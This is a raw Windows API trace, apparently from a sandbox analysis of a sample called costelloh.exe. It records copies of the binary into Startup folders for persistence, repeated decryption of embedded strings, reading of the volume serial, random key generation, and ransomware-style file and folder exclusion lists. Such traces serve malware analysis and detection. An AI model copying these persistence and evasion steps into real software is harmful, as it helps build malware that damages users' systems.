	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.556] SetLastError (dwErrCode=0x20) 
	[0213.556] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.557] SetLastError (dwErrCode=0x20) 
	[0213.557] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] SetLastError (dwErrCode=0x20) 
	[0213.558] GetLastError () returned 0x20
	[0213.558] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"), bFailIfExists=1) returned 0
	[0213.559] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"), bFailIfExists=1) returned 0
	[0213.560] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685b30 | out: hHeap=0x680000) returned 1
	[0213.560] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6852d0 | out: hHeap=0x680000) returned 1
	[0213.560] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6854e8 | out: hHeap=0x680000) returned 1
	[0213.560] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685700 | out: hHeap=0x680000) returned 1
	[0213.560] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685918 | out: hHeap=0x680000) returned 1
	[0213.560] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811c0 | out: hHeap=0x680000) returned 1
	[0213.560] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681250 | out: hHeap=0x680000) returned 1
	[0213.560] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681318 | out: hHeap=0x680000) returned 1
	[0213.560] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc0) returned 0x6811c0
	[0213.560] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa8c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3faf4 | out: phKey=0xd3faf4*=0x138fe0) returned 1
	[0213.560] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3fadc, dwFlags=0x0) returned 1
	[0213.560] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811c0, pdwDataLen=0xd3faa8 | out: pbData=0x6811c0, pdwDataLen=0xd3faa8) returned 1
	[0213.560] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0213.560] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xbd) returned 0x681288
	[0213.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1373033, lpParameter=0x681288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220
	[0213.560] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102
	[0213.560] CloseHandle (hObject=0x220) returned 1
	[0213.560] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811c0 | out: hHeap=0x680000) returned 1
	[0213.560] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x6811c0
	[0213.560] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fb00 | out: phKey=0xd3fb00*=0x138fe0) returned 1
	[0213.561] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3fae8, dwFlags=0x0) returned 1
	[0213.561] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811c0, pdwDataLen=0xd3fab4 | out: pbData=0x6811c0, pdwDataLen=0xd3fab4) returned 1
	[0213.561] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0213.561] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x5c) returned 0x681350
	[0213.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1373033, lpParameter=0x681350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220
	[0213.561] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x1388) returned 0x102
	[0218.752] CloseHandle (hObject=0x220) returned 1
	[0218.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811c0 | out: hHeap=0x680000) returned 1
	[0218.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6811c0
	[0218.752] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3facc | out: phKey=0xd3facc*=0x1390a0) returned 1
	[0218.752] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0xd3fab4, dwFlags=0x0) returned 1
	[0218.752] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811c0, pdwDataLen=0xd3fa80 | out: pbData=0x6811c0, pdwDataLen=0xd3fa80) returned 1
	[0218.752] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0218.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6811e8
	[0218.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x681210
	[0218.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681468
	[0218.752] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3faa4 | out: phKey=0xd3faa4*=0x1393a0) returned 1
	[0218.752] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xd3fa8c, dwFlags=0x0) returned 1
	[0218.752] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681468, pdwDataLen=0xd3fa58 | out: pbData=0x681468, pdwDataLen=0xd3fa58) returned 1
	[0218.752] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0218.752] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6811e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0218.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681210 | out: hHeap=0x680000) returned 1
	[0218.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811c0 | out: hHeap=0x680000) returned 1
	[0218.752] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd3fb0c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd3fb0c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0218.753] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811e8 | out: hHeap=0x680000) returned 1
	[0218.753] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x6811c0
	[0218.753] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6811f0
	[0218.753] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9dc | out: phKey=0xd3f9dc*=0x138de0) returned 1
	[0218.753] CryptSetKeyParam (hKey=0x138de0, dwParam=0x1, pbData=0xd3f9c4, dwFlags=0x0) returned 1
	[0218.753] CryptDecrypt (in: hKey=0x138de0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811f0, pdwDataLen=0xd3f990 | out: pbData=0x6811f0, pdwDataLen=0xd3f990) returned 1
	[0218.753] CryptDestroyKey (hKey=0x138de0) returned 1
	[0218.753] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x681208
	[0218.753] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f96c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9d4 | out: phKey=0xd3f9d4*=0x138de0) returned 1
	[0218.753] CryptSetKeyParam (hKey=0x138de0, dwParam=0x1, pbData=0xd3f9bc, dwFlags=0x0) returned 1
	[0218.753] CryptDecrypt (in: hKey=0x138de0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681208, pdwDataLen=0xd3f988 | out: pbData=0x681208, pdwDataLen=0xd3f988) returned 1
	[0218.753] CryptDestroyKey (hKey=0x138de0) returned 1
	[0218.753] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x681220
	[0218.753] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f964, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9cc | out: phKey=0xd3f9cc*=0x1391a0) returned 1
	[0218.753] CryptSetKeyParam (hKey=0x1391a0, dwParam=0x1, pbData=0xd3f9b4, dwFlags=0x0) returned 1
	[0218.753] CryptDecrypt (in: hKey=0x1391a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681220, pdwDataLen=0xd3f980 | out: pbData=0x681220, pdwDataLen=0xd3f980) returned 1
	[0218.753] CryptDestroyKey (hKey=0x1391a0) returned 1
	[0218.753] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x681238
	[0218.753] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9c4 | out: phKey=0xd3f9c4*=0x139560) returned 1
	[0218.753] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3f9ac, dwFlags=0x0) returned 1
	[0218.753] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681238, pdwDataLen=0xd3f978 | out: pbData=0x681238, pdwDataLen=0xd3f978) returned 1
	[0218.753] CryptDestroyKey (hKey=0x139560) returned 1
	[0218.753] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681468
	[0218.753] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f954, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9bc | out: phKey=0xd3f9bc*=0x138fe0) returned 1
	[0218.753] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3f9a4, dwFlags=0x0) returned 1
	[0218.753] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681468, pdwDataLen=0xd3f970 | out: pbData=0x681468, pdwDataLen=0xd3f970) returned 1
	[0218.753] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0218.753] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x681250
	[0218.753] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f94c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9b4 | out: phKey=0xd3f9b4*=0x138fe0) returned 1
	[0218.753] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3f99c, dwFlags=0x0) returned 1
	[0218.753] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681250, pdwDataLen=0xd3f968 | out: pbData=0x681250, pdwDataLen=0xd3f968) returned 1
	[0218.753] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0218.753] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x6852d0
	[0218.753] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f944, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9ac | out: phKey=0xd3f9ac*=0x1391a0) returned 1
	[0218.753] CryptSetKeyParam (hKey=0x1391a0, dwParam=0x1, pbData=0xd3f994, dwFlags=0x0) returned 1
	[0218.753] CryptDecrypt (in: hKey=0x1391a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6852d0, pdwDataLen=0xd3f960 | out: pbData=0x6852d0, pdwDataLen=0xd3f960) returned 1
	[0218.753] CryptDestroyKey (hKey=0x1391a0) returned 1
	[0218.753] htonl (hostlong=0xb4197730) returned 0x307719b4
	[0218.754] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x20, pbBuffer=0xd3faa0 | out: pbBuffer=0xd3faa0) returned 1
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x28) returned 0x681500
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x681268
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4) returned 0x681530
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x14) returned 0x685338
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x685358
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x80) returned 0x685370
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6853f8
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x82) returned 0x685410
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6854a0
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4) returned 0x6854b8
	[0218.754] CryptAcquireContextW (in: phProv=0x137fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x137fcf4*=0x12f778) returned 1
	[0218.754] CryptGenRandom (in: hProv=0x12f778, dwLen=0x55, pbBuffer=0xd3fa0a | out: pbBuffer=0xd3fa0a) returned 1
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6854c8
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x80) returned 0x6854e0
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x685568
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x685580
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4) returned 0x685590
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6855a0
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x80) returned 0x6855b8
	[0218.754] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x685640
	[0218.755] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4) returned 0x6804a0
	[0218.755] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x685580, Size=0x82) returned 0x6804b0
	[0218.755] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6804a0, Size=0x100) returned 0x688588
	[0218.755] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x680540
	[0218.755] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x82) returned 0x688690
	[0218.755] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6887f0
	[0218.755] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x82) returned 0x688d28
	[0218.755] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6804b0, Size=0x104) returned 0x688db8
	[0218.755] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x688588, Size=0x200) returned 0x688ec8
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685590 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ec8 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685640 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6854e0 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6854c8 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6855b8 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6855a0 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688db8 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685568 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688690 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x680540 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688d28 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6887f0 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681530 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681268 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685410 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6853f8 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685370 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685358 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6854b8 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6854a0 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681500 | out: hHeap=0x680000) returned 1
	[0218.756] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685338 | out: hHeap=0x680000) returned 1
	[0218.756] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xa4) returned 0x6804a0
	[0218.756] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x5a) returned 0x688588
	[0218.756] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x688588, Size=0xb2) returned 0x688588
	[0218.756] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688868
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xb40) returned 0x688d28
	[0218.757] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f93c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9a4 | out: phKey=0xd3f9a4*=0x1390a0) returned 1
	[0218.757] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0xd3f98c, dwFlags=0x0) returned 1
	[0218.757] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688d28, pdwDataLen=0xd3f958 | out: pbData=0x688d28, pdwDataLen=0xd3f958) returned 1
	[0218.757] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681500
	[0218.757] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f934, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f99c | out: phKey=0xd3f99c*=0x1393a0) returned 1
	[0218.757] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xd3f984, dwFlags=0x0) returned 1
	[0218.757] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681500, pdwDataLen=0xd3f950 | out: pbData=0x681500, pdwDataLen=0xd3f950) returned 1
	[0218.757] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x688648
	[0218.757] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f90c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f974 | out: phKey=0xd3f974*=0x1393a0) returned 1
	[0218.757] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xd3f95c, dwFlags=0x0) returned 1
	[0218.757] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688648, pdwDataLen=0xd3f928 | out: pbData=0x688648, pdwDataLen=0xd3f928) returned 1
	[0218.757] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x84) returned 0x685338
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x84) returned 0x6853c8
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x685458
	[0218.757] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f8e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f94c | out: phKey=0xd3f94c*=0x139560) returned 1
	[0218.757] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3f934, dwFlags=0x0) returned 1
	[0218.757] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x685458, pdwDataLen=0xd3f900 | out: pbData=0x685458, pdwDataLen=0xd3f900) returned 1
	[0218.757] CryptDestroyKey (hKey=0x139560) returned 1
	[0218.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685458 | out: hHeap=0x680000) returned 1
	[0218.757] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x685338, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42
	[0218.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6853c8 | out: hHeap=0x680000) returned 1
	[0218.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688648 | out: hHeap=0x680000) returned 1
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x688648
	[0218.757] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f908, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f970 | out: phKey=0xd3f970*=0x1393a0) returned 1
	[0218.757] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xd3f958, dwFlags=0x0) returned 1
	[0218.757] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688648, pdwDataLen=0xd3f924 | out: pbData=0x688648, pdwDataLen=0xd3f924) returned 1
	[0218.757] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x5c) returned 0x6886b0
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x5c) returned 0x6853c8
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x685430
	[0218.757] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f948 | out: phKey=0xd3f948*=0x138fe0) returned 1
	[0218.757] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3f930, dwFlags=0x0) returned 1
	[0218.757] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x685430, pdwDataLen=0xd3f8fc | out: pbData=0x685430, pdwDataLen=0xd3f8fc) returned 1
	[0218.757] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0218.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685430 | out: hHeap=0x680000) returned 1
	[0218.757] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;Program Files;Program Files (x86);", lpDst=0x6886b0, nSize=0x2e | out: lpDst="C:\\Windows;Program Files;Program Files (x86);") returned 0x2e
	[0218.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6853c8 | out: hHeap=0x680000) returned 1
	[0218.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688648 | out: hHeap=0x680000) returned 1
	[0218.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x6853c8
	[0218.758] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x689870
	[0218.758] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x689870, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
